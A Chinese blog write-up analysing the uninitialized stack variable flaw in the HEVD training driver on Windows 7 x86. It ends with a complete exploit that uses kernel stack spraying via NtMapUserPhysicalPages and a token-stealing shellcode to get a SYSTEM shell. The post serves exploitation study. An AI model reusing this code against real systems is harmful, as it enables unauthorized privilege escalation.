漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
作者selph
前言
窺探Ring0漏洞世界:未初始化棧變數漏洞
上一篇探討了空指標解引用漏洞的利用,這裡來探討另一種漏洞,未初始化棧變數漏洞,未初始化變數本身是沒啥事的,但如果這個變數結構裡儲存了會拿出來執行的東西(回撥函式啥的),那就是另一回事了
實驗環境:
•虛擬機器:Windows 7 x86
•物理機:Windows 10 x64
•軟體:IDA,Windbg,VS2022
漏洞分析
老樣子,先IDA找到該漏洞的觸發函式TriggerUninitializedMemoryStack,分析函式是如何存在漏洞的
首先是取出了使用者提供的指標裡的值,儲存到ebx:
然後緊接著判斷該值是否為魔數0BAD0B0B0h,是的話,就將該值和一個函式地址儲存到了棧中一個結構體裡,如果不是的話,則不進行操作,然後進行判斷,判斷棧中的這個變數是否有值,如果有值,且為固定這個函式的地址的話,就執行這個函式
如果該位置有值,且不是固定函式地址的話,就去把這個值當函式去呼叫:
驅動原始碼:
///
/// Trigger the uninitialized memory in Stack Vulnerability
///
///The pointer to user mode buffer
/// NTSTATUS
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
//
// Get the value from user mode
//
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
//
// Validate the magic value
//
if (UserValue == MagicValue) {
UninitializedMemory.Value = UserValue;
UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
}
DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
//
// Call the callback function
//
if (UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
可見,這裡的安全版本和不安全版本的區別僅在是否初始化了區域性變數,其實不初始化似乎也沒啥問題,這裡出問題的關鍵在於該變數中儲存了回撥函式,然後還被呼叫了,從而導致了漏洞
如果輸入的是錯誤的值(非魔數),且能控制回撥地址,就能執行shellcode。
漏洞利用
那麼問題來了,要如何去控制回撥地址呢?未初始化的區域性變數會儲存在棧中,且值是不可預測的,棧中存的是什麼值那變數就是什麼值
參考[1],控制棧中的值,需要做這些準備:
1.找到核心棧初始化地址
2.找到回撥地址所在核心棧初始化地址的偏移量
3.透過在使用者模式下使用者可控輸入噴射核心棧(參考資料[2])
核心棧噴射
根據參考資料[2],有一個未文件化的函式NtMapUserPhysicalPages可以噴射一大塊資料到核心棧裡:
NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(...)
ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024
這裡頭有一片棧空間的緩衝區陣列,大小是1024*sizeof(ULONG_PTR)
該函式最後,如果NumberOfPages變數不大於1024的話,會使用該棧緩衝區地址去呼叫:MiCaptureUlongPtrArray函式
PoolArea = (PVOID)&StackArray[0];
(...)
if (NumberOfPages > COPY_STACK_SIZE) {
PoolArea = ExAllocatePoolWithTag (NonPagedPool,
NumberOfBytes,
'wRmM');
if (PoolArea == NULL) {
return STATUS_INSUFFICIENT_RESOURCES;
}
}
(...)
Status = MiCaptureUlongPtrArray (PoolArea,
UserPfnArray,
NumberOfPages);
使用IDA開啟Windows7 x86核心檔案ntkrnlpa查詢該呼叫:
因為該函式是fastcall呼叫,在x86下fastcall呼叫會優先使用ecx和edx傳參,多餘的引數才使用棧,也就是說傳遞的引數依次是:NumberOfPages,UserPfnArray,棧緩衝區的地址
然後MiCaptureUlongPtrArray的實現如下:
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx
v3 = 4 * a1;
if ( v3 )
{
if ( (a2 & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )
*(_BYTE *)MmUserProbeAddress = 0;
}
memcpy(a3, (const void *)a2, v3);
return 0;
}
NtMapUserPhysicalPages函式里將往棧緩衝區裡填充使用者傳來的資料
到此,可以知道,只需要向呼叫NtMapUserPhysicalPages函式,提供第二個引數是大小,第三個引數是使用者緩衝區,即可實現在棧中進行噴射,接下來進行編寫exp實現利用
編寫exp
還是用之前的模板改一改,透過函式可以實現對核心棧的提前佈置,然後再用非魔數的輸入去呼叫漏洞函式,使得未初始化的變數裡填充的是我們佈置的值,從而完成利用:
#include
#include
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad
;獲取當前程式EPROCESS
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
;搜尋system程式EPROCESS
mov edx, SYSTEM_PID
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID
; token竊取
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
; 環境還原 + 返回
popad
}
}
int main()
{
ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
//RtlFillMemory(UserBuffer, UserBufferSize, 'A');
for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){
UserBuffer[i] = (ULONG)EopPayload;
}
// 佈置核心棧
NtMapUserPhysicalPages_t NtMapUserPhysicalPages;
NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");
NtMapUserPhysicalPages(NULL, 1024, UserBuffer);
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
system("pause");
system("cmd.exe");
return 0;
}
截圖演示
參考資料
•[1] Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-uninitialized-stack-variable/
•[2] nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org) https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
•[3] CVE-2016-0040 - DreamoneOnly - 部落格園 (cnblogs.com) https://www.cnblogs.com/DreamoneOnly/p/13163036.html
•[4] HEVD Kernel Exploitation -- Uninitialized Stack & Heap (seebug.org) https://paper.seebug.org/200/
•[5] ヾ(ŐŐ3)ノ嘻嘻![05] HEVD 核心漏洞之未初始化棧變數 | Saturn35 https://saturn35.com/2019/07/26/20190726-2/
•[6] C library function - memcpy() (tutorialspoint.com) https://www.tutorialspoint.com/c_standard_library/c_function_memcpy.htm
•[7] __fastcall | Microsoft Docs https://docs.microsoft.com/zh-cn/cpp/cpp/fastcall?view=msvc-170
相關文章
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- JSON劫持漏洞分析2018-05-17JSON
- BlueKeep 漏洞利用分析2019-09-20
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- 乾貨丨windows核心www漏洞利用手法2020-02-04Windows
- PfSense命令注入漏洞分析2020-08-19
- SSRF漏洞簡單分析2020-07-16
- tp5漏洞分析2024-06-30
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- CVE-2017-8890漏洞分析2018-08-15
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- 軟體漏洞分析技巧分享2020-08-19
- CVE-2015-1641漏洞分析2020-08-19
- 關於libStagefright系列漏洞分析2020-08-19
- CVE-2020-1362 漏洞分析2020-07-28
- CVE-2013-3906漏洞分析2018-04-21
- thinkphp3.2.x漏洞分析2024-06-30PHP
- 漏洞分析:CVE-2017-172152021-12-04
- Sunlogin RCE漏洞分析和使用2022-02-19
- Java安全之Axis漏洞分析2021-11-26Java
- 漏洞分析:CVE 2021-31562021-08-11
- Java安全之XStream 漏洞分析2021-07-22Java
- CVE-2020-1247漏洞分析2023-02-27
- 工具分享丨分析GreatSQL Binglog神器2024-03-25SQL
- 【漏洞分析】ReflectionToken BEVO代幣攻擊事件分析2023-05-09事件
- Magic Box雲萌魔盒系統技術開發分析丨DAPP丨DEFI丨NFT2023-04-03APP
- Apache Tomcat檔案包含漏洞分析2020-02-24ApacheTomcat
- 安卓Bug 17356824 BroadcastAnywhere漏洞分析2020-08-19安卓AST
- 某EXCEL漏洞樣本shellcode分析2020-08-19Excel
- cve-2014-0569 漏洞利用分析2020-08-19
- Android uncovers master-key 漏洞分析2020-08-19AndroidAST
- OpenSSL-CVE-2015-1793漏洞分析2020-08-19
- 某CCTV攝像頭漏洞分析2020-08-19
- Joomla 物件注入漏洞分析報告2020-08-19OOM物件
- CORS漏洞的學習與分析2020-04-18CORS
- pwnkit漏洞分析-CVE-2021-40342022-01-31
- [javaweb]strut2-001漏洞分析2022-01-16JavaWeb
- CVE-2006-3439漏洞原理分析2022-04-27